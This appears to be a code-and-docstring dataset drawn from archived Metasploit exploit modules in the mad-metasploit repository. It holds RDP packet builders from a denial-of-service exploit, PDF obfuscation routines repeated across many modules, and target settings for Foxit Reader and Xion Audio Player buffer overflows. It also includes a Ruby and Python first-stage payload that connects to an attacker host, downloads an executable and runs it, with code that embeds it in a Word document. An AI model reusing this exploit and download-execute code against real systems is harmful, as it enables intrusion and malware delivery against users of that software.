def pdu_client_info(user_name, domain_name = "", ip_address = "") ## Max. len for 4.0/6.0 servers is 44 bytes including terminator. ## Max. len for all other versions is 512 including terminator. ## We're going to limit to 44 (21 chars + null -> unicode) here. ## Blank username is valid, nil = random. user_name = Rex::Text.rand_text_alpha(10) if user_name.nil? user_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le') uname_len = user_unicode.length ## Domain can can be, and for rdesktop typically is, empty. ## Max. len for 4.0/5.0 servers is 52 including terminator. ## Max. len for all other versions is 512 including terminator. ## We're going to limit to 52 (25 chars + null -> unicode) here. domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le') domain_len = domain_unicode.length ## This address value is primarily used to reduce the fields by which this ## module can be fingerprinted. It doesn't show up in Windows logs. ## clientAddress + null terminator ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00" ip_len = ip_unicode.length pdu = "\xa1\xa5\x09\x04" + "\x09\x04\xbb\x47" + # CodePage "\x03\x00\x00\x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY [domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator [uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator "\x00\x00" + # cbPassword (length value) "\x00\x00" + # cbAlternateShell (length value) "\x00\x00" + # cbWorkingDir (length value) [domain_unicode].pack("a*") + # Domain "\x00\x00" + # Domain null terminator, EXCLUDED from value of cbDomain [user_unicode].pack("a*") + # UserName "\x00\x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName "\x00\x00" + # Password - empty "\x00\x00" + # AlternateShell - empty ## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1 "\x02\x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically [ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons. [ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode) "\x3c\x00" + # cbClientDir (length value): 60 "\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" + # clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator "\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" + "\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" + "\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" + ## clientTimeZone - TS_TIME_ZONE struct - 172 bytes ## These are the default values for rdesktop "\xa4\x01\x00\x00" + # Bias ## StandardName - 'GTB,normaltid' "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" + "\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" + "\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # StandardDate "\x00\x00\x00\x00" + # StandardBias ## DaylightName - 'GTB,sommartid' "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" + "\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" + "\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # DaylightDate "\xc4\xff\xff\xff" + # DaylightBias "\x01\x00\x00\x00" + # clientSessionId "\x06\x00\x00\x00" + # performanceFlags "\x00\x00" + # cbAutoReconnectCookie "\x64\x00\x00\x00" return(pdu) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d # TS_INFO_PACKET - 2.2.1.11.1.1
pdu_client_info
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_client_confirm_active() pdu = "\xea\x03\x01\x00" + # shareId: 66538 "\xea\x03" + # originatorId "\x06\x00" + # lengthSourceDescriptor: 6 "\x3e\x02" + # lengthCombinedCapabilities: ??? "\x4d\x53\x54\x53\x43\x00" + # SourceDescriptor: 'MSTSC' "\x17\x00" + # numberCapabilities: 23 "\x00\x00" + # pad2Octets "\x01\x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET "\x18\x00" + # lengthCapability: 24 "\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x02\x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET "\x1c\x00" + # lengthCapability: 28 "\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" + "\x01\x00\x00\x1a\x01\x00\x00\x00" + "\x03\x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET "\x58\x00" + # lengthCapability: 88 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" + "\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" + "\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" + "\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" + "\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" + "\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x0a\x00" + # capabilitySetType: 10 - ?? "\x08\x00" + # lengthCapability: 8 "\x06\x00\x00\x00" + "\x07\x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET "\x0c\x00" + # lengthCapability: 12 "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x05\x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET "\x0c\x00" + # lengthCapability: 12 "\x00\x00\x00\x00\x02\x00\x02\x00" + "\x08\x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET "\x0a\x00" + # lengthCapability: 10 "\x01\x00\x14\x00\x15\x00" + "\x09\x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x00\x00\x00\x00" + "\x0d\x00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET "\x58\x00" + # lengthCapability: 88 "\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" + "\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x0c\x00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x0e\x00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x10\x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET "\x34\x00" + # lengthCapability: 52 "\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" + "\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" + "\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" + "\x0f\x00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x11\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x01\x00\x00\x00\x00\x28\x64\x00" + "\x14\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x01\x00\x00\x00\x00\x00\x00\x00" + "\x15\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x02\x00\x00\x00\x00\x0a\x00\x01" + "\x1a\x00" + # capabilitySetType: ?? "\x08\x00" + # lengthCapability: 8 "\xaf\x94\x00\x00" + "\x1c\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x12\x00\x00\x00\x00\x00\x00\x00" + "\x1b\x00" + # capabilitySetType: ?? "\x06\x00" + # lengthCapability: 6 "\x01\x00" + "\x1e\x00" + # capabilitySetType: ?? "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x18\x00" + # capabilitySetType: ?? "\x0b\x00" + # lengthCapability: 11 "\x02\x00\x00\x00\x03\x0c\x00" + "\x1d\x00" + # capabilitySetType: ?? "\x5f\x00" + # lengthCapability: 95 "\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" + "\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" + "\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" + "\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" + "\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" + "\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04" ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU return(rdp_build_share_control_header(0x13, pdu)) end
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48 Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1
pdu_client_confirm_active
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_client_synchronize(target_user = 0) pdu = "\x01\x00" + # messageType: 1 SYNCMSGTYPE_SYNC [target_user].pack("S<") # targetUser, 16 bit, unsigned. ## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE data_header = rdp_build_share_data_header(0x1f, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992 # Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1
pdu_client_synchronize
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_client_control_cooperate() pdu = "\x04\x00" + # action: 4 - CTRLACTION_COOPERATE "\x00\x00" + # grantId: 0 "\x00\x00\x00\x00" # controlId: 0 ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL data_header = rdp_build_share_data_header(0x14, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135 # Control Cooperate - TC_CONTROL_PDU 2.2.1.15
pdu_client_control_cooperate
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_client_control_request() pdu = "\x01\x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL "\x00\x00" + # grantId: 0 "\x00\x00\x00\x00" # controlId: 0 ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL data_header = rdp_build_share_data_header(0x14, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35 # Control Request - TC_CONTROL_PDU 2.2.1.16
pdu_client_control_request
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_client_input_event_sychronize() pdu = "\x01\x00" + # numEvents: 1 "\x00\x00" + # pad2Octets "\x00\x00\x00\x00" + # eventTime "\x00\x00" + # messageType: 0 - INPUT_EVENT_SYNC ## TS_SYNC_EVENT 202.8.1.1.3.1.1.5 "\x00\x00" + # pad2Octets "\x00\x00\x00\x00" # toggleFlags ## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT data_header = rdp_build_share_data_header(0x1c, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396 # Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1
pdu_client_input_event_sychronize
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_client_font_list() pdu = "\x00\x00" + # numberFonts: 0 "\x00\x00" + # totalNumberFonts: 0 "\x03\x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST) "\x32\x00" # entrySize: 50 ## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST data_header = rdp_build_share_data_header(0x27, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9 # Client Font List - TS_FONT_LIST_PDU - 2.2.1.18
pdu_client_font_list
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16503.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16503.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16504.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16504.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16546.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16546.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] # Randomize the spaces and newlines elsif c == " " result << " " * (rand(3) + 1) if rand(2) == 0 result << "\x0d\x0a" result << " " * rand(2) end else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16593.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16593.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16606.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16606.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16614.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16614.rb
MIT
def nObfu(str) #return str result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16619.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16619.rb
MIT
def initialize(info = {}) super(update_info(info, 'Name' => 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use javascript. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 11353 $", 'Author' => [ 'dookie', # Discovered the bug 'Sud0', # Original exploit (from Offsec Exploit Weekend) 'corelanc0d3r', # Metasploit exploit 'jduck' # Metasploit-fu ], 'References' => [ #[ 'CVE', '' ], [ 'OSVDB', '68648' ], [ 'URL', 'http://www.exploit-db.com/exploits/15532' ], [ 'URL', 'http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/' ] ], 'Payload' => { 'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EDI', # egghunter jmp edi } }, 'Platform' => 'win', 'Targets' => [ [ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => "\x4B\x6A" } ] #unicode p/p/r foxit reader.exe ], 'DisclosureDate' => 'Nov 13 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf']) ], self.class) end
include Msf::Exploit::Seh # unused due to special circumstances
initialize
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16621.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16621.rb
MIT
def nObfu(str) return str end
Override the mixin obfuscator since it doesn't seem to work here.
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16621.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16621.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16622.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16622.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16623.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16623.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16624.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16624.rb
MIT
def bencode_string(str) ret = "%d:" % str.length ret << str return ret end
bencoding functions: http://wiki.theory.org/BitTorrentSpecification
bencode_string
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16634.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16634.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16652.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16652.rb
MIT
def initialize(info = {}) super(update_info(info, 'Name' => 'Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Xion Audior Player prior to version 1.0.126. The vulnerability is triggered when opening a malformed M3U file that contains an overly long string. This results in overwriting a structured exception handler record. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 11353 $", 'Author' => [ 'hadji samir <s-dz [at] hotmail.fr>', # Discovered the bug 'corelanc0d3r', # First working exploit 'digital1', # First working exploit 'jduck', # Alpha+Unicode encoding :-/ 'm_101' # Original and msf exploit ], 'References' => [ #[ 'CVE', '' ], [ 'OSVDB', '66912'], [ 'URL', 'http://www.exploit-db.com/exploits/14517' ], [ 'URL', 'http://www.exploit-db.com/exploits/14633' ], [ 'URL', 'http://www.exploit-db.com/exploits/15598' ] ], 'Payload' => { 'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EDI', # egghunter jmp edi } }, 'Platform' => 'win', 'Targets' => [ [ 'Xion Audio Player v1.0.126 XP Universal', { 'Offset' => 252, 'Ret' => "\x51\x43" } ] #unicode p/p/r equivalent xion.exe ], 'DisclosureDate' => 'Nov 23 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The output filename.', 'm_101_xion.m3u']), # seh offset depends on path length OptString.new('TARGETPATH', [ false, 'The target output.', 'C:\\']) ], self.class) end
include Msf::Exploit::Seh # unused due to special circumstances
initialize
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16653.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16653.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16667.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16667.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16670.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16670.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] # Randomize the spaces and newlines elsif c == " " result << " " * (rand(3) + 1) if rand(2) == 0 result << "\x0d\x0a" result << " " * rand(2) end else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16672.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16672.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16674.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16674.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16681.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16681.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16682.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16682.rb
MIT
def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
nObfu
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/16687.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/16687.rb
MIT
def sami_encode(s) r = "" i = 0 while i < s.length r << s[i, 32] r << "\n" i += 32 end r end
Split the subtitle to avoid mplayer complaining about the line max length
sami_encode
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/18954.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/18954.rb
MIT
def get_download_exec_payload(type, lhost, lport) payload_name = Rex::Text.rand_text_alpha(7) # Padd up 6 null bytes so the first few characters won't get cut off p = "\x00"*6 case type when :rb p << %Q| require 'socket' require 'tempfile' begin cli = TCPSocket.open("#{lhost}",#{lport}) buf = '' while l = cli.gets buf << l end cli.close tmp = Tempfile.new(['#{payload_name}','.exe']) t = tmp.path tmp.binmode tmp.write(buf) tmp.close exec(t) rescue end#| when :py p << %Q| import socket import tempfile import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("#{lhost}", #{lport})) buf = "" while True: data = s.recv(1024) if data: buf += data else: break s.close temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe" f = open(temp, "wb") f.write(buf) f.close f = None os.system(temp) #| end p = p.gsub(/^\t\t\t/, '') return p end
Return the first-stage payload that will download our malicious executable.
get_download_exec_payload
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/19037.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/19037.rb
MIT
def on_file_read(fname, file) f = open(file, 'rb') buf = f.read f.close # Modify certain files on the fly case file when /oleObject1\.bin/ # Patch the OLE object file with our payload print_status("Patching OLE object") ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb p = get_download_exec_payload(ptype, @ip, @port) buf = buf.gsub(/MYPAYLOAD/, p) # Patch username username = Rex::Text.rand_text_alpha(5) buf = buf.gsub(/METASPLOIT/, username) buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username)) # Patch the filename f = Rex::Text.rand_text_alpha(6) buf = buf.gsub(/MYFILENAME/, f) buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f)) # Patch the extension name ext = ptype.to_s buf = buf.gsub(/MYEXT/, ext) buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext)) when /document\.xml/ print_status("Patching document body") # Patch the docx body buf = buf.gsub(/W00TW00T/, datastore['BODY']) end # The original filename of __rels is actually ".rels". # But for some reason if that's our original filename, it won't be included # in the archive. So this hacks around that. case fname when /__rels/ fname = fname.gsub(/\_\_rels/, '.rels') end yield fname, buf end
Reads a file that'll be packaged. This will patch certain files on the fly, or return the original content of the file.
on_file_read
ruby
hahwul/mad-metasploit
archive/exploits/windows/local/19037.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/19037.rb
